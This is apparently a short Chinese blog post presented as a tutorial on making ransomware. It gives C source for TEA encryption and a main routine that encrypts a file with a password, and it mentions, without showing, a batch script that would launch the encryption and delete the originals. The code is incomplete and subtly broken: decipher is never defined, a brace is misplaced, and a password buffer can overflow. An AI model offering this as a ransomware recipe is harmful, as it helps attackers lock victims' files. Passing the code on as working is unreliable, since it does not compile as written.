勒索病毒原理:
简单来说,就是通过加密算法对文件进行加密,想要解密?
勒索病毒制作:
1.写一个加密程序,这里用到的是tea算法加密。
- tea加密算法主要用的是移位、异或等运算,速度非常快,并且不容易被破解。
void encipher(unsigned int v[2],unsigned int key[4])
{
unsigned int v0=v[0],v1=v[1],i,sum=0,delta=0x9e3779b9;
for(i=0;i<32;i++)
{
v0+=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);
sum+=delta;
v1+=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);
}
v[0]=v0;v[1]=v1;
}
- 主函数,把文件读入,通过用户输入的密码加密或解密,从而进行输出
int main(int argc,char* argv[]){
char password[100]={0};
strcpy(password,argv[2]);
FILE *fpin=fopen(argv[3],"rb");
FILE *fpout=fopen(argv[4],"wb");
if(fpin!=NULL&&fpout!=NULL){
while(!feof(fpin)){
unsigned int msg[2];
msg[0]=msg[1]=0;
if(fread(msg,1,8,fpin)==0) break;
if(argv[1][0]=='e'){
encipher(msg,(unsigned int*)password);
}
else{
decipher(msg,(unsigned int *)password);
}
fwrite(msg,1,8,fpout);
}
fclose(fpin);
fclose(fpout);
return 0;
}
}
2.写几句批处理启动文件加密,并删除原文件
因为上一篇文章涉及到病毒激活传染,审核不通过…
所以就不细讲了